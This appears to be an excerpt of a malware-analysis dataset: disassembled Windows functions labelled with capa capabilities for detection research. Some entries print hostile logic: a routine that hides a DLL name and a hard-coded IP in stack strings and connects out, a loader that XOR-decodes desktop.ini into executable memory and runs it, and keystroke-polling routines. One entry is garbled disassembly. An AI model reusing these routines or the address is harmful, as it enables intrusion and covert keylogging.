joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403905
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
mov edx, 0x2014b50
call fcn.00403850
mov dx, word [edi]
lea esi, [ebx + 4]
mov ecx, esi
call fcn.00403869
mov dx, word [edi + 2]
push 2
pop eax
add esi, eax
mov ecx, esi
call fcn.00403869
mov dx, word [edi + 4]
add esi, eax
mov ecx, esi
call fcn.00403869
mov dx, word [edi + 6]
add esi, eax
mov ecx, esi
call fcn.00403869
mov dx, word [edi + 8]
add esi, eax
mov ecx, esi
call fcn.00403869
mov dx, word [edi + 0xa]
add esi, eax
mov ecx, esi
call fcn.00403869
mov edx, dword [edi + 0xc]
add esi, eax
mov ecx, esi
call fcn.00403850
mov edx, dword [edi + 0x10]
lea ecx, [esi + 4]
call fcn.00403850
mov edx, dword [edi + 0x14]
lea ecx, [esi + 8]
call fcn.00403850
mov dx, word [edi + 0x18]
add esi, 0xc
mov ecx, esi
call fcn.00403869
mov dx, word [edi + 0x1a]
push 2
pop eax
add esi, eax
mov ecx, esi
call fcn.00403869
mov dx, word [edi + 0x1c]
add esi, eax
mov ecx, esi
call fcn.00403869
mov dx, word [edi + 0x1e]
add esi, eax
mov ecx, esi
call fcn.00403869
mov dx, word [edi + 0x20]
add esi, eax
mov ecx, esi
call fcn.00403869
mov edx, dword [edi + 0x24]
add esi, eax
mov ecx, esi
call fcn.00403850
mov edx, dword [edi + 0x28]
lea ecx, [esi + 4]
call fcn.00403850
movzx eax, word [edi + 0x18]
add esi, 8
test ax, ax
je 0x403a05
mov edx, dword [edi + 0x2c]
mov ecx, esi
push eax
call fcn.004035d8
movzx eax, word [edi + 0x18]
add esp, 4
add esi, eax
movzx eax, word [edi + 0x1a]
test ax, ax
je 0x403a22
mov edx, dword [edi + 0x30]
mov ecx, esi
push eax
call fcn.004035d8
movzx eax, word [edi + 0x1a]
add esp, 4
add esi, eax
movzx eax, word [edi + 0x1c]
test ax, ax
je 0x403a3f
mov edx, dword [edi + 0x34]
mov ecx, esi
push eax
call fcn.004035d8
movzx ecx, word [edi + 0x1c]
add esp, 4
add esi, ecx
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
ret

Function at 0x403a47
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
mov edx, 0x4034b50
call fcn.00403850
mov dx, word [edi]
lea esi, [ebx + 4]
mov ecx, esi
call fcn.00403869
mov dx, word [edi + 2]
push 2
pop eax
add esi, eax
mov ecx, esi
call fcn.00403869
mov dx, word [edi + 4]
add esi, eax
mov ecx, esi
call fcn.00403869
mov dx, word [edi + 6]
add esi, eax
mov ecx, esi
call fcn.00403869
mov dx, word [edi + 8]
add esi, eax
mov ecx, esi
call fcn.00403869
mov edx, dword [edi + 0xc]
add esi, eax
mov ecx, esi
call fcn.00403850
mov edx, dword [edi + 0x10]
lea ecx, [esi + 4]
call fcn.00403850
mov edx, dword [edi + 0x14]
lea ecx, [esi + 8]
call fcn.00403850
mov dx, word [edi + 0x18]
lea ecx, [esi + 0xc]
call fcn.00403869
mov dx, word [edi + 0x1a]
lea ecx, [esi + 0xe]
call fcn.00403869
movzx eax, word [edi + 0x18]
add esi, 0x10
test ax, ax
je 0x403af6
mov edx, dword [edi + 0x1c]
mov ecx, esi
push eax
call fcn.004035d8
movzx eax, word [edi + 0x18]
add esp, 4
add esi, eax
movzx eax, word [edi + 0x1a]
test ax, ax
je 0x403b13
mov edx, dword [edi + 0x20]
mov ecx, esi
push eax
call fcn.004035d8
movzx ecx, word [edi + 0x1a]
add esp, 4
add esi, ecx
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
ret
Function at 0x403bed
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
xor edi, edi
mov eax, ecx
mov dword [ebp - 4], eax
cmp dword [0x4080c4], edi
jne 0x403c34
push ebx
push esi
mov esi, edi
push 8
mov ecx, esi
pop ebx
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor ecx, eax
sub ebx, 1
jne 0x403c0a
mov dword [esi*4 + 0x4080c0], ecx
inc esi
cmp esi, 0x100
jl 0x403c05
mov eax, dword [ebp - 4]
pop esi
pop ebx
or ecx, 0xffffffff
test edx, edx
je 0x403c56
movzx eax, byte [edi + eax]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4080c0]
inc edi
mov eax, dword [ebp - 4]
cmp edi, edx
jb 0x403c3b
not ecx
mov eax, ecx
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x404108
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne al
ret

Function at 0x40475f
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
mov edi, ecx
mov dword [ebp - 0xc], edx
push edi
mov byte [ebp - 1], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
test esi, esi
jne 0x404791
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x404791
xor al, al
jmp 0x40486b
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x404868
mov eax, dword [esi + 0x3c]
add eax, esi
cmp dword [eax], 0x4550
jne 0x404868
mov ecx, 0x2000
test word [eax + 0x16], cx
je 0x404868
mov edi, dword [eax + 0x78]
test edi, edi
je 0x404868
cmp dword [eax + 0x7c], 0
je 0x404868
mov eax, dword [edi + esi + 0x1c]
mov ecx, dword [edi + esi + 0x24]
add eax, esi
mov dword [ebp - 0x1c], eax
add ecx, esi
mov eax, dword [edi + esi + 0x20]
push ebx
xor ebx, ebx
mov dword [ebp - 0x18], ecx
add eax, esi
mov dword [ebp - 8], ebx
mov dword [ebp - 0x20], eax
cmp dword [edi + esi + 0x18], ebx
jbe 0x404867
mov eax, dword [eax + ebx*4]
mov edx, dword [ebp - 0xc]
add eax, esi
mov dword [ebp - 0x10], eax
xor bl, bl
movzx ecx, bl
mov dword [ebp - 0x14], ecx
cmp dword [edx + ecx*4], 0
je 0x404857
mov ecx, eax
call fcn.004036b2
mov ecx, dword [ebp - 0x10]
mov edx, eax
call fcn.00403bed
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0xc]
cmp eax, dword [edx + ecx*4]
je 0x40483c
mov eax, dword [ebp - 0x10]
inc bl
cmp bl, 0xff
jb 0x404808
jmp 0x404857
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 8]
movzx eax, word [ecx + eax*2]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx + eax*4]
movzx eax, bl
add ecx, esi
inc byte [ebp - 1]
mov dword [edx + eax*4], ecx
mov ebx, dword [ebp - 8]
mov eax, dword [ebp - 0x20]
inc ebx
mov dword [ebp - 8], ebx
cmp ebx, dword [edi + esi + 0x18]
jb 0x4047fb
pop ebx
mov al, byte [ebp - 1]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4053f8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1ec
mov dword [ebp - 0x4c], 0xa0f5fc93
mov dword [ebp - 0x48], 0x5e568bb
mov dword [ebp - 0x44], 0x74cff91f
mov dword [ebp - 0x40], 0xa7733acd
mov dword [ebp - 0x3c], 0x59d852ad
mov dword [ebp - 0x38], 0xa5c6d777
mov dword [ebp - 0x34], 0x377545a2
mov dword [ebp - 0x30], 0x8e3398bc
mov dword [ebp - 0x2c], 0xed514704
and dword [ebp - 0x28], 0
mov byte [ebp - 0x24], 0x77
mov byte [ebp - 0x23], 0x73
mov byte [ebp - 0x22], 0x32
mov byte [ebp - 0x21], 0x5f
mov byte [ebp - 0x20], 0x33
mov byte [ebp - 0x1f], 0x32
mov byte [ebp - 0x1e], 0x2e
mov byte [ebp - 0x1d], 0x64
mov byte [ebp - 0x1c], 0x6c
mov byte [ebp - 0x1b], 0x6c
mov byte [ebp - 0x1a], 0
lea edx, [ebp - 0x4c]
lea ecx, [ebp - 0x24]
call fcn.0040475f
movzx eax, al
cmp eax, 9
je 0x40548a
xor al, al
jmp 0x4055cd
mov byte [ebp - 1], 0
mov byte [ebp - 0x18], 0x31
mov byte [ebp - 0x17], 0x38
mov byte [ebp - 0x16], 0x35
mov byte [ebp - 0x15], 0x2e
mov byte [ebp - 0x14], 0x32
mov byte [ebp - 0x13], 0x34
mov byte [ebp - 0x12], 0x34
mov byte [ebp - 0x11], 0x2e
mov byte [ebp - 0x10], 0x32
mov byte [ebp - 0xf], 0x31
mov byte [ebp - 0xe], 0x32
mov byte [ebp - 0xd], 0x2e
mov byte [ebp - 0xc], 0x31
mov byte [ebp - 0xb], 0x30
mov byte [ebp - 0xa], 0x36
mov byte [ebp - 9], 0
lea eax, [ebp - 0x1ec]
push eax
push 0x202
push 4
pop eax
imul eax, eax, 0
call dword [ebp + eax - 0x4c]
test eax, eax
jne 0x4055ca
push 2
pop eax
mov word [ebp - 0x5c], ax
mov cx, 0x8b3
call fcn.004053ec
mov word [ebp - 0x5a], ax
push 0
push 1
movsx eax, word [ebp - 0x5c]
push eax
push 4
pop eax
shl eax, 0
call dword [ebp + eax - 0x4c]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x4055c0
lea edx, [ebp - 0x58]
lea ecx, [ebp - 0x18]
call fcn.0040535a
push 0x10
xor edx, edx
lea ecx, [ebp - 0x18]
call fcn.00403603
pop ecx
movzx eax, byte [ebp - 1]
test eax, eax
jne 0x4055b3
push 0x10
lea eax, [ebp - 0x5c]
push eax
push dword [ebp - 8]
push 4
pop eax
shl eax, 1
call dword [ebp + eax - 0x4c]
cmp eax, 0xffffffff
je 0x4055a6
push 0
movzx eax, word [0x408508]
push eax
push dword [0x40850c]
push dword [ebp - 8]
push 4
pop eax
imul eax, eax, 3
call dword [ebp + eax - 0x4c]
cmp eax, 0xffffffff
je 0x4055a6
push 0
mov eax, dword [ebp + 0xc]
inc eax
push eax
push dword [ebp + 8]
push dword [ebp - 8]
push 4
pop eax
imul eax, eax, 3
call dword [ebp + eax - 0x4c]
cmp eax, 0xffffffff
je 0x4055a6
mov ecx, dword [0x40850c]
call fcn.004035c3
mov byte [ebp - 1], 1
jmp 0x4055b3
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x405538
push dword [ebp - 8]
push 4
pop eax
imul eax, eax, 5
call dword [ebp + eax - 0x4c]
push 4
pop eax
imul eax, eax, 7
call dword [ebp + eax - 0x4c]
mov al, byte [ebp - 1]
mov esp, ebp
pop ebp
ret
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0xa99e04
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, 0x401000
call 0xa99e04
lcall 0x5de5, 0x8b10c483
jmp loc.01db1fa0
Function at 0x4048e5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4083c8
cmp edx, dword [eax]
je 0x404907
add eax, 8
inc ecx
cmp eax, 0x408458
jl 0x4048f8
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4083c8]
jne 0x404a35
mov eax, dword [0x408bac]
cmp eax, 1
je 0x404a0f
test eax, eax
jne 0x404938
cmp dword [0x408314], 1
je 0x404a0f
cmp edx, 0xfc
je 0x404a35
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40496f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00405e10
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00405f00
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4049b2
lea eax, [ebp - 0x1a4]
push eax
call fcn.00405f00
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4073e0
push edi
call fcn.00402c50
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00405e10
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00405e20
lea eax, [ebp - 0xa0]
push 0x4073c0
push eax
call fcn.00405e20
push dword [esi + 0x4083cc]
lea eax, [ebp - 0xa0]
push eax
call fcn.00405e20
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00405f7b
add esp, 0x2c
pop edi
jmp 0x404a35
lea eax, [ebp + 8]
lea esi, [esi + 0x4083cc]
push 0
push eax
push dword [esi]
call fcn.00405f00
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x403a38
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
mov esi, edx
mov edi, ecx
xor edx, edx
mov al, byte [esi]
mov dl, byte [esi + 1]
cmp al, 0xa
je 0x403a66
cmp al, 0xc
je 0x403a7d
cmp al, 0xd
je 0x403a8c
cmp al, 0xe
je 0x403aa8
mov al, 2
pop edi
pop esi
pop ebx
jmp fcn.004026c8
cmp ecx, 1
mov eax, ebx
jg 0x403a74
call fcn.00403400
jmp 0x403abc
mov edx, ecx
call fcn.00403420
jmp 0x403abc
mov eax, ebx
add ebx, 0x10
call fcn.004047e0
dec edi
jg 0x403a7d
jmp 0x403abc
push ebp
mov ebp, edx
mov eax, ebx
add ebx, dword [esi + ebp + 2]
mov ecx, dword [esi + ebp + 6]
mov edx, dword [esi + ebp + 0xa]
call fcn.00403a38
dec edi
jg 0x403a8f
pop ebp
jmp 0x403abc
push ebp
mov ebp, edx
mov eax, ebx
add ebx, dword [esi + ebp + 2]
mov edx, esi
call fcn.00403a10
dec edi
jg 0x403aab
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x403ac0
Capabilities:
Terminate process

Disassembly:
mov ecx, 1
jmp fcn.00403a38

Function at 0x403d6c
Capabilities:
Terminate process

Disassembly:
cmp eax, edx
je 0x403ddc
cmp word [eax], 8
jb 0x403d91
push eax
push edx
cmp word [eax], 0x100
je 0x403d87
push eax
call sub.oleaut32.dll_VariantClear
jmp 0x403d8f
add eax, 8
call fcn.00403400
pop edx
pop eax
cmp word [edx], 8
jae 0x403da8
mov ecx, dword [edx]
mov dword [eax], ecx
mov ecx, dword [edx + 8]
mov dword [eax + 8], ecx
mov ecx, dword [edx + 0xc]
mov dword [eax + 0xc], ecx
ret
cmp word [edx], 0x100
jne 0x403dc8
mov edx, dword [edx + 8]
or edx, edx
je 0x403dbf
mov ecx, dword [edx - 8]
inc ecx
jle 0x403dbf
mov dword [edx - 8], ecx
mov word [eax], pe_nt_image_headers32
mov dword [eax + 8], edx
ret
mov word [eax], 0
push edx
push eax
call sub.oleaut32.dll_VariantCopyInd
or eax, eax
jne fcn.00403d30
ret

Function at 0x4044f4
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
mov edi, eax
mov esi, edx
mov ebx, ecx
mov eax, dword [edi]
mov edx, dword [esi]
and eax, 0xfff
and edx, 0xfff
cmp eax, 0x11
jbe 0x4042d1
cmp eax, 0x100
jne 0x404323
mov eax, 8
cmp edx, 0x11
jbe 0x4042e3
cmp edx, 0x100
jne 0x404323
mov edx, 8
mov al, byte [eax + 0x49801c]
mov dl, byte [edx + 0x49801c]
movzx ecx, byte [edx + eax*8 + 0x498030]
call dword [ecx*4 + 0x404302]
pop edi
pop esi
pop ebx
ret
pop edi
pop esi
pop ebx
jmp fcn.00403d30
mov ecx, 0
jmp 0x4042a8

Function at 0x404500
Capabilities:
Terminate process

Disassembly:
mov ecx, 1
jmp 0x4042a8

Function at 0x40450c
Capabilities:
Terminate process

Disassembly:
mov ecx, 2
jmp 0x4042a8

Function at 0x404518
Capabilities:
Terminate process

Disassembly:
mov ecx, 4
jmp 0x4042a8

Function at 0x404524
Capabilities:
Terminate process

Disassembly:
mov ecx, 5
jmp 0x4042a8

Function at 0x404530
Capabilities:
Terminate process

Disassembly:
mov ecx, 8
jmp 0x4042a8

Function at 0x40453c
Capabilities:
Terminate process

Disassembly:
mov ecx, 9
jmp 0x4042a8

Function at 0x404548
Capabilities:
Terminate process

Disassembly:
mov ecx, 0xa
jmp 0x4042a8

Function at 0x404554
Capabilities:
Terminate process

Disassembly:
mov ecx, 6
jmp 0x4042a8

Function at 0x404560
Capabilities:
Terminate process

Disassembly:
mov ecx, 7
jmp 0x4042a8
Function at 0x40456c
Capabilities:
Terminate process

Disassembly:
mov ecx, 3
jmp 0x4042a8

Function at 0x404614
Capabilities:
Terminate process

Disassembly:
push esi
push edi
mov edi, eax
mov esi, edx
mov eax, dword [edi]
mov edx, dword [esi]
and eax, 0xfff
and edx, 0xfff
cmp eax, 0x11
jbe 0x40463a
cmp eax, 0x100
jne case.0x404660.0
mov eax, 8
cmp edx, 0x11
jbe 0x40464c
cmp edx, 0x100
jne case.0x404660.0
mov edx, 8
mov al, byte [eax + 0x49801c]
mov dl, byte [edx + 0x49801c]
movzx ecx, byte [edx + eax*8 + 0x498030]
jmp dword [ecx*4 + 0x404667]
pop edi
pop esi
jmp fcn.00403d30
cmp al, dl
pop edi
pop esi
ret
mov eax, esi
call fcn.00403f90
xchg edi, eax
call fcn.00403f90
cmp eax, edi
pop edi
pop esi
ret
mov eax, edi
call fcn.00404030
sub esp, 0xc
fstp xword [esp]
mov eax, esi
call fcn.00404030
fld xword [esp]
add esp, 0xc
fcompp
fnstsw ax
mov al, ah
and ax, 0x4001
ror al, 1
or ah, al
sahf
pop edi
pop esi
ret
mov eax, edi
call fcn.0040408c
sub esp, 0xc
fstp xword [esp]
mov eax, esi
call fcn.0040408c
fld xword [esp]
add esp, 0xc
jmp 0x4046bf
mov eax, edi
mov edx, esi
call fcn.004045a8
cmp eax, 0
pop edi
pop esi
ret
mov eax, esi
call fcn.00403ffc
xchg edi, eax
call fcn.00403ffc
mov edx, edi
cmp al, dl
pop edi
pop esi
ret

Function at 0x404790
Capabilities:
Terminate process

Disassembly:
mov edx, dword [eax]
and edx, 0xfff
je 0x4047c1
cmp edx, 0xb
je 0x4047c6
cmp edx, 1
je 0x4047d5
cmp edx, 0x11
jbe 0x4047b1
cmp edx, 0x100
jne 0x4047c1
push eax
call fcn.00403f90
not eax
mov edx, eax
pop eax
jmp fcn.00404124
jmp fcn.00403d30
mov dx, word [eax + 8]
neg dx
sbb edx, edx
not edx
mov word [eax + 8], dx
ret

Function at 0x407288
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffefc
mov ebx, eax
push esp
push 0x104
call sub.kernel32.dll_GetCurrentDirectoryA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.004034e0
add esp, 0x104
pop ebx
ret

Function at 0x408570
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x4085a9
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004034e0
jmp 0x4085b2
mov eax, ebx
mov edx, esi
call fcn.00403494
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4085bc
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x4085dd
mov al, byte [esp]
jmp 0x4085df
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x411080
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00403400
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x4110e1
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
cmp byte [ebp - 0x101], 0
jne 0x4110e1
cmp byte [ebp - 0x102], 0
je 0x4110e1
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.0040355c
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x412320
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov ebx, edx
mov dword [ebp - 0xc], eax
xor eax, eax
mov edx, dword [ebp - 0xc]
cmp dword [edx + 0x24], 0
je 0x4123a1
xor eax, eax
mov al, byte [ebx + 4]
mov word [ebp - 6], ax
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x412352
add word [ebp - 6], 0x2000
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x412364
add word [ebp - 6], 0x4000
test byte [ebx + 0xb], 0x20
je 0x412370
add word [ebp - 6], 0x8000
xor ebx, ebx
movzx edx, word [ebp - 6]
mov cl, 2
mov eax, dword [ebp - 0xc]
call fcn.004121f8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x412395
push ebp
mov eax, dword [ebp - 4]
call fcn.00412294
pop ecx
mov ebx, eax
cmp bl, 2
je 0x412370
cmp dword [ebp - 4], 0
setne al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x419b14
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x419b1a
ret
Function at 0x41f3d4
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x49a650
cmp dword [edi], 0
jne 0x41f450
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [reloc.user32.dll_InsertMenuItemA]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x498594
mov ecx, 2
call fcn.00402738
mov edx, 0x41f3ac
lea eax, [esi + 5]
call fcn.0041f3cc
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0041f3cc
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x41f425
mov dword [reloc.user32.dll_InsertMenuItemA], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x41f554
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x41f5a4]
test si, 4
je 0x41f568
or bl, 1
test si, 8
je 0x41f572
or bl, 4
test si, 1
je 0x41f57c
or bl, 8
test si, 2
je 0x41f586
or bl, 0x10
test si, 0x10
je 0x41f590
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x41f59f
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x41f5a8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x41f5e0]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x41f5c1
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x41f5d0
or bl, 4
test esi, 0x20000000
je 0x41f5db
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x423574
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [reloc.user32.dll_IsZoomed]
cmp byte [eax + 0x7f], 0
jne 0x4235c7
cmp dword [reloc.user32.dll_InflateRect], 0
jne 0x4235a3
call sub.kernel32.dll_GetCurrentThreadId
push eax
push 0
mov eax, 0x423530
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [reloc.user32.dll_InflateRect], eax
cmp dword [reloc.user32.dll_GetWindowThreadProcessId], 0
jne 0x4235c7
push esp
push 0
push 0
push 0x4234e0
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [reloc.user32.dll_GetWindowThreadProcessId], eax
pop edx
ret

Function at 0x4235cc
Capabilities:
Terminate thread

Disassembly:
cmp dword [reloc.user32.dll_InflateRect], 0
je 0x4235e0
mov eax, dword [reloc.user32.dll_InflateRect]
push eax
call sub.user32.dll_UnhookWindowsHookEx
xor eax, eax
mov dword [reloc.user32.dll_InflateRect], eax
cmp dword [reloc.user32.dll_GetWindowThreadProcessId], 0
je 0x4235fd
push 0
mov eax, dword [reloc.user32.dll_GetWindowThreadProcessId]
push eax
call sub.kernel32.dll_TerminateThread
xor eax, eax
mov dword [reloc.user32.dll_GetWindowThreadProcessId], eax
ret

Function at 0x42369c
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x4236b3
add esp, 0xfffffff0
call fcn.00402d30
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00410230
mov dl, 1
mov eax, 0x40a4d4
call fcn.00402b30
mov dword [ebx + 0x70], eax
mov dl, 1
mov eax, 0x40a4d4
call fcn.00402b30
mov dword [ebx + 0x80], eax
xor eax, eax
mov dword [ebx + 0x40], eax
xor eax, eax
mov dword [ebx + 0x60], eax
mov dword [ebx + 0x3c], 0x80000018
mov dword [ebx + 0x54], 0x1f4
mov dword [ebx + 0x58], 0x32
mov dword [ebx + 0x5c], 0x9c4
mov byte [ebx + 0x64], 0
mov byte [ebx + 0x7d], 1
mov dl, 1
mov eax, 0x419a0c
call fcn.0041da24
mov esi, eax
mov dword [ebx + 0x78], esi
push 0x4237f4
mov eax, dword [0x49a014]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.0041ddb0
mov eax, dword [ebx + 0x78]
mov dword [eax + 8], ebx
mov dword [eax + 4], 0x424ab4
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x49a014]
push eax
call sub.kernel32.dll_GetModuleFileNameA
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.004074c8
test eax, eax
je 0x423790
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00407330
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.004074a8
test eax, eax
je 0x4237a4
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x6c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.0040355c
cmp byte [0x49a034], 0
jne 0x4237d4
mov eax, ebx
call fcn.00423884
mov byte [ebx + 0x39], 1
mov byte [ebx + 0x3a], 1
cmp byte [ebp - 1], 0
je 0x4237ec
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret